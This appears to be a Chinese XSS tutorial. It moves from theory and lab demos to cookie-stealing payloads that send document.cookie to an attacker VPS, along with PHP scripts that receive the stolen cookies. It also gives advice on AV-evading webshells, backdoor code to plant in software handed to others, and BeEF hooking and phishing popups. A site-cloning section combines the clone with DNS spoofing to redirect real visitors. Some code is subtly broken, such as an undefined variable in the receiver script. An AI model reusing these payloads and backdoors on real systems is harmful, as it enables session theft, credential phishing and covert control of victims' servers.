思维导图
一、xss原理
1.XSS跨站漏洞产生原理
跨站脚本,诞生于1996年,为了防止和css混肴固取名XSS。
攻击者向WEB页面插入前端代码(HtML,CSS,JS等),让代码可以被浏览器执行,访问该页面的用户就会被攻击一般是插入恶意JS代码。
本质:由于过度信任用户的输入,导致对输入内容校验不严格,将用户的输入的数据当作前端代码来执行。
危害:
- 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 3、盗窃企业重要的具有商业价值的资料
- 4、非法转账
- 5、强制发送电子邮件
- 6、网站挂马
- 7、控制受害者机器向其它网站发起攻击(重定向语句)
- 8、窃取cookie的sessionid,冒充登录。
常规用到的是盗取cookie、js做钓鱼攻击、流量指向等。主要是盗取管理员的会话和cookie信息,就是我们常说的管理员凭证,就意味着得到后台权限,可以直接利用。还能配合别的漏洞,比如可以和网页木马结合,扔到那里去跳转到网马地址,网马地址被执行后续就控制一些权限
简单代码分析:
输出问题导致的js代码被识别执行
<?php
$xss=$_GET['x'];
echo $xss;
//127.0.0.1/test/xss.php?x=<script>alert(1)</script>
//js代码;<script>alert(1)</script> 调用执行
//漏洞产生原理:输出问题
?>
2.Xss跨站漏洞分类:
按形式分为:反射,存储,DOM
简要概述
1).反射型跨站脚本
(Reflected Cross-site Scripting):
也被称为非持久型,参数型跨站脚本,一次性
攻击流程:前端输入–>后端解析–>前端输出
原理:
将用户输入的数据同URL的形式直接或未经过完整过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的前端代码;因为只执行一次,且只有用户访问带有该漏洞的URL时才会触发攻击,所以一般被攻击者用来钓鱼使用,诱骗受害者访问该页面,从而完成攻击。
2).存储型跨站脚本
(Stored Cross-site Scripting):
持久型、比反射型危害更大
攻击流程: 前端输入→经过后端→存入数据库→前端调用数据→前端输出
原理:
将用户输入的数据通过后端存入网站数据库中,当网页被浏览时,网页进行
数据查询展示时,会从数据库中获取数据内容并将数据内容在网页中输出展示,只要用户浏览了包含此恶意代码的页面就会触发攻击,此类XSS不需要
用户访问特定的URL就能执行,攻击者事先将恶意恶意代码提交存储到服务器中
3). DOM型跨站脚本
(DOM Cross-site Scripting):
不经过服务器,前端js代码的利用
类似反射型XSS,只不过反射型是由后端解析输出到前端而DOM型是直接由前端的JS解析后输出,一次性
攻击流程: 前端输入→前端JS解析输出
本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示:
Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
二、pikachu靶机演示
1.反射型
<script>alert(1)</script>
2.存储型
每次刷新的时候都会弹框,已经保存到后端
3.DOM型
由于dom型是纯前端操作
onclick 事件
定义和用法
onclick 事件会在元素被点击时发生。
输入框中输入:
' onclick="alert('xss')">
onload 事件
实例
当页面载入完毕后执行Javascript代码:
<body onload="myFunction()">
定义和用法
onload 事件会在页面或图像加载完成后立即发生。
onload 通常用于 元素,在页面完全载入后(包括图片、css文件等等。)执行脚本代码。
三、XSS 平台及工具使用
1.xxs平台
https://xssaq.com/?c
2…xss获取cookie
概念:
用户凭据:通过凭据可以判断对方身份信息。
两种:
cookie 存储在本地 存活时间较长 小中型。
session 会话 存储在服务器 存活时间较短 大型。
3.xss工具
beef,postman
下载地址:
https://www.postman.com/downloads/
获取的cookie可以通过该工具进行访问:
4.Document 对象
当浏览器载入 HTML 文档, 它就会成为 Document 对象。
Document 对象是 HTML 文档的根节点。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。
**提示:**Document 对象是 Window 对象的一部分,可通过 window.document 属性对其进行访问。
document.cookie | 设置或返回与当前文档有关的所有 cookie。 |
---|---|
手写利用XSS漏洞获取对方cookie
1.编制了一个简单的cookie接收脚本
<?php
$cookie=$_GET['cookie'];
error_log("$ck\n",3,"cookie.txt");
?>
//error_log — 发送错误信息到某个地方
error_log(message,type,destination,headers);
error_log参数:
参数 | 描述 |
---|---|
message | 必需。规定要记录的错误消息。 |
type | 可选。规定错误应该发送到何处。可能的值: 0 - 默认。消息被发送到 PHP 的系统日志,使用操作系统的日志机制或者一个文件,取决于 php.ini 中如何 error_log 指令。 1 - 消息被发送到参数 destination 设置的邮件地址。第四个参数 extra_headers 只有在这个类型里才会被用到。 2 - 不再使用(仅用在 PHP 3 中) 3 - 消息被发送到位置为 destination 的文件里。字符 message 不会默认被当做新的一行。 4 - 消息被直接发送到 SAPI 日志处理程序中。 |
destination | 可选。规定错误消息的目标。该值由 type 参数的值决定。 |
headers | 可选。规定额外的头,比如 From、Cc 和 Bcc。该信息类型使用了 mail() 的同一个内置函数。仅当 message_type 设置为 1 的时候使用。应当使用 CRLF (\r\n) 来分隔多个头。 |
接收脚本方法2
<?php
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$cookie=$_GET['cookie'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
2.构造可以发送用cookie
构造可以发送用户cookie到我们vps的payload。
这里有以下2种方法。
方法一:直接利用script和img标签构造发送cookie的payload。
这种方法构造的payload较长。在DVWA有对输入字符长度的限制,这里我们可以通过审查元素绕过。
<script>document.write('<img src="http:/网址/vps/receive.php?cookie='+document.cookie+'" />')</script>
添加成功后,在我们vps中receive.php所在页面生成了一个名为cookie.txt的文件,盗取用户的cookie就被保存在这个文件中。
方法二:加载外部JS文件盗取cookie。
这样我们可以将更多的XSS代码放到外部的JS文件中,非常方便。这样也可以减小我们输入字符的长度。
<script src="http://vps/xss.js"></script>
xss.js文件内容:
new Image().src="http://vps/receive.php?cookie="+document.cookie;
接下来我们将payload插入到DVWA中。
Webshell结合XSS:
Webshell和XSS(跨站脚本攻击)可以一起使用,以进一步危害受害者的Web应用程序和服务器。XSS攻击可以通过注入恶意脚本来劫持用户会话或在受害者的浏览器中执行恶意操作,而Webshell则可以通过获取远程访问权限来接管服务器并控制其资源。
当攻击者利用XSS漏洞成功注入恶意代码时,他们可以将Webshell注入到目标Web服务器中,从而获得完全的远程控制权。此后,攻击者可以通过Webshell执行各种操作,如窃取敏感数据、传播恶意软件、发起钓鱼攻击等等。此外,攻击者还可以使用Webshell将攻击代码上传到目标服务器中,从而使其成为“跳板”或“僵尸”主机,用于进一步攻击其他目标或执行更复杂的操作。
https://github.com/tennc/webshell
https://pan.baidu.com/s/13H4N1VTBVwd3t8YWpECBFw 提取码xiao
Webshell常常被黑客用于入侵和控制受害者的服务器,因为它们可以绕过常规的安全措施,如防火墙和反病毒软件,并且在受害者不知情的情况下在后台运行。
制作免杀webshell
隐藏webshell最主要的就是做免杀,免杀做好了,你可以把webshell放在函数库文件中或者在图片马中,太多地方可以放了,只要查杀工具查不到,你的这个webshell就能存活很长时间,毕竟管理员也没有那么多精力挨个代码去查看。
演示案例
webshell箱子 搭建过程
需要低版本windowns
链接:https://pan.baidu.com/s/1wlnQVd6wd0oEXvKjD7SnRw?pwd=hj12
提取码:hj12
1.下载完成后放在网站目录下
2.将asp服务器放在网站目录下
3.打开webshell_box
在目录下,双击Sws2.3就可以直接在浏览器中打开输入正确网址
然后先加载出来一个登录页面
账号:admin
密码:admin
点开系统设置的时候,有乱码,应该是被编码过
推测解码后会有后门
使用方法:
一般就是在小马里面制作后门,也就是调用了webshell箱子的api接口。
在你发送的软件中插入代码
下面2个实现获取当前网站的ip地址
&_SERVER["PHP_SELE"];正在执行的脚本文件名
$_SERVER["HTTP_HOST"];获取当前请求的host头部内容,即网站地址
修改api后门代码加到你的软件里面:
javascrip使用的:
<script src=""http://xxx/api.asp改成ip
?url="&server.URLEncode("""http://"&request.ServerVariables("HTTP_HOST")&request.ServerVariables("url"))&"&pass="&UserPass&"""></script>
//http://xxx/api.asp改成ip
php使用的:
$password="admin";
$url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
echo "<script src='http://ip地址/api.asp?url=$URL&pass=$password'>";
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-om5qOG0i-1680021301923)(17-xxs%E6%BC%8F%E6%B4%9E.assets/image-20230323172854678.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9blCRBV-1680021301924)(17-xxs%E6%BC%8F%E6%B4%9E.assets/image-20230323173507301.png)]
当对方使用你的后门软件刷新时就会发送信息到你的平台
检测后门:
可以通过抓包查看是否有可疑的数据包
五、kali工具之Beef
简介
Browser Exploitation Framework(BeEF) BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单。
主要功能
信息收集:
1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息
持久化控制:
1.确认弹框
2.小窗口
3.中间人
社会工程:
1.点击劫持
2.弹窗告警
3.虚假页面
4.钓鱼页面
渗透攻击:
1.内网渗透
2.Metasploit
3.CSRF攻击
4.DDOS攻击
脚本安装
命令:
apt-get update
apt-get install beef-xss
apt-get install beef-xss
启动命令:beef-xss
启动之后
网页登陆bef控制端
ss -lntp
会弹出来beef的登录窗口
这边我们在看一下beef绑定的3000端口
发现绑定3000端口的IP是0.0.0.0
发现是0.0.0.0 监听3000端口
那么远程也是可以访问的
http://ip:3000/ui/authentication
查看账号密码(也可进行更改)
找到配置文件(kali默认在/etc/beef-xss/config.yaml中);
cat /etc/beef-xss/config.yaml
BeEF-XSS主页面介绍
启动BeFF-XSS并登陆进去
可以通过命令也可以图形化页面
触发payload
这里需要把图中红框中的payload复制粘贴到你的目标xss的位置,然后将其中的<IP>
改成你这台kali的IP地址,最终payload为:
'<script src="http://X.X.X.X:3000/hook.js"></script>'
使用方法
这里我们使用pikachu做实验:
这时候再回到BeEF中查看,会发现online browers中多了点东西
打开"online Browsers" 下的"commands",就可以运行模块对目标系统进行入侵。
例子:选择"commands"下面的"Hooked Domain"的create Alert Dialog(弹窗功能 ),点击右下角的"execute"运行
四种颜色的功能:
- 绿色的代表该功能有效,并且执行不会被用户所发现
- 橙色的代表该功能有效,但是执行会被用户所发现
- 白色的代表该功能不确定是否有效
- 红色的代表该功能无效
部分常见功能介绍:
转载博客:BeEF的使用 - 蒋璐 - 博客园 (cnblogs.com)
获取用户Cookie
我们点击Browser—>Hooked Domain —>Get Cookie,然后点击右下角的Execute。
然后点击我们执行的那条命令,右边就可以看到浏览器的 Cookie 了。
网页重定向
我们点击Browser—>Hooked Domain —>Redirect Browser,然后点击右下角的Execute,然后用户的浏览器的该页面就会跳转到百度的页面了。
社工弹窗
我们点击Social Engiineering——>Pretty Theft ,然后右上角选择弹窗的类型,右下角点击 Execute
然后浏览器那边就会弹出框,如果你在框内输入了用户名和密码的话
如果用户输入了用户名和密码,点击了Log in的话,我们后台是可以收到密码的
钓鱼网站(结合DNS欺骗)
进入/usr/share/beef-xss/ 目录下,执行命令:./beef 启动 beef ,API Token值
钓鱼网站(结合DNS欺骗)
进入/usr/share/beef-xss/ 目录下,执行命令:./beef 启动 beef ,API Token值
新打开一个页面,执行下面的命令
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com/","mount":"/"}' -X POST http://192.168.31.129:3000/api/seng/clone_page?token=a82658f10fba4a107e008c2591a2fc00fb0fc06b
#这里的地址token是我们上一步获取到的token, ip地址也要修改为kali的ip
我们克隆的网站在目录:/usr/share/beef-xss/extensions/social_engineering/web_cloner/cloned_pages 下
我们访问:http://192.168.10.25:3000/ , 可以看到和百度一模一样。只要别人访问了该链接,这个浏览器就可以被我们控制了!
那么,如何让其他人访问我们的这个链接呢?我们可以结合DNS欺骗,将百度的地址解析到我们的这个链接上,这样,别人访问百度的时候就自动跳转到我们的这个页面了?
进行DNS欺骗之前,先去配置文件中把3000端口改成80端口
然后利用bettercap进行DNS欺骗。
然后重新打开beef,然后克隆www.baidu.com网站
只要被欺骗的主机访问www.baidu.com,其实跳转到了我们克隆的网站。这里百度的图片没加载出来,有点尴尬。
xss-labs靶场搭建
通关手册:https://blog.csdn.net/wo41ge/article/details/107459332
https://blog.csdn.net/weixin_43669045/article/details/107932942
靶场项目地址:https://codeload.github.com/do0dl3/xss-labs/zip/refs/he